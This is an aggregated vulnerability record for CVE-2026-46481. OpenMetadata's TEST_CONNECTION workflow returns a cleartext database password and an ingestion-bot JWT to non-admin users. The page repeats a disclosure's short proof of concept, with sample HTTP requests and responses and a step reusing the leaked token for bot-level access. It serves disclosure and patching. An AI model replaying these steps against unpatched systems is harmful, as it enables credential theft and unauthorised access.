CVE-2026-46481
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
OpenMetadata is a unified metadata platform. Prior to version 1.12.4, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both the cleartext database password in request.connection.config.password and the ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken. The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs with bot-level privileges. This issue has been patched in version 1.12.4.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.3
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
OpenMetadata is a unified metadata platform. Prior to version 1.12.4, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both the cleartext database password in request.connection.config.password and the ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken. The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs with bot-level privileges. This issue has been patched in version 1.12.4.
- Record
CVE-2026-46481- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-201
- Updated
- 2026-11-02
EUVDEUVD-2026-35136
8.3
OpenMetadata is a unified metadata platform. Prior to version 1.12.4, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both the cleartext database password in request.connection.config.password and the ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken. The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs with bot-level privileges. This issue has been patched in version 1.12.4.
- Record
EUVD-2026-35136- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9vmh-whc4-7phg
8.3
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:
- The cleartext database password in
request.connection.config.password. - The ingestion bot JWT in
openMetadataServerConnection.securityConfig.jwtToken.
The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.
This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.
Version / Product
- Product: OpenMetadata (open source, Apache 2.0)
- Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (
secretsManagerProvider: "db").
Preconditions
- Authenticated SSO user with access to the UI.
- User can open a Database Service and click “Test connection”.
- No server admin role, no shell/DB access.
PoC (short)
-
Login as a regular SSO user.
-
In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”. -
The browser sends:
POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json
{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }
Note: in the request the password is masked as "********".
- The server responds with HTTP 201 and a body similar to:
{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }
Key points:
- request.connection.config.password now contains the real Oracle DB password in cleartext.
- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
- Reuse the leaked ingestion-bot JWT:
GET…
- Record
GHSA-9vmh-whc4-7phg- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-201
- Updated
- 2026-11-02
NVD
8.3
OpenMetadata is a unified metadata platform. Prior to version 1.12.4, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both the cleartext database password in request.connection.config.password and the ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken. The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs with bot-level privileges. This issue has been patched in version 1.12.4.
- Record
CVE-2026-46481- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-201
- Updated
- 2026-11-02
OSV
8.3
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
OpenMetadata is a unified metadata platform. Prior to version 1.12.4, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both the cleartext database password in request.connection.config.password and the ingestion bot JWT in openMetadataServerConnection.securityConfig.jwtToken. The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs with bot-level privileges. This issue has been patched in version 1.12.4.
- Record
CVE-2026-46481- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-201
- Updated
- 2026-11-02
OSVGHSA-9vmh-whc4-7phg
8.3
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:
- The cleartext database password in
request.connection.config.password. - The ingestion bot JWT in
openMetadataServerConnection.securityConfig.jwtToken.
The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.
This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.
Version / Product
- Product: OpenMetadata (open source, Apache 2.0)
- Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (
secretsManagerProvider: "db").
Preconditions
- Authenticated SSO user with access to the UI.
- User can open a Database Service and click “Test connection”.
- No server admin role, no shell/DB access.
PoC (short)
-
Login as a regular SSO user.
-
In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”. -
The browser sends:
POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json
{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }
Note: in the request the password is masked as "********".
- The server responds with HTTP 201 and a body similar to:
{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }
Key points:
- request.connection.config.password now contains the real Oracle DB password in cleartext.
- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
- Reuse the leaked ingestion-bot JWT:
GET…
- Record
GHSA-9vmh-whc4-7phg- CVSS 3.1
- 8.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L - Weakness
- CWE-201
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.open-metadata:openmetadata-serviceMaven |
before 1.12.4 | 1.12.4 |
org.open-metadata:openmetadata-serviceMaven |
before 1.12.4, plus listed versions 0.12.10.12.1.preview0.12.20.12.2-REPUBLISHED0.13.1 Show 45 moreShow less0.13.20.13.2-beta1.0.01.0.0-alpha1.0.0-beta1.0.11.0.21.0.31.0.41.0.4.11.0.51.1.01.1.0-beta1.1.11.1.21.1.2.11.1.31.1.41.1.51.1.61.1.71.10.01.10.11.10.101.10.111.10.121.10.131.10.141.10.21.10.31.10.41.10.51.10.61.10.71.10.81.10.91.11.01.11.0-rc11.11.11.11.101.11.111.11.121.11.131.11.21.11.3 |
1.12.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-46481 is a high vulnerability (CVSS 8.3) in Open-metadata Openmetadata, published May 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 15th percentile. Fixed in org.open-metadata:openmetadata-service 1.12.4.
References
Left out here: 125 versions and the rest of 2 source descriptions. The JSON record has them.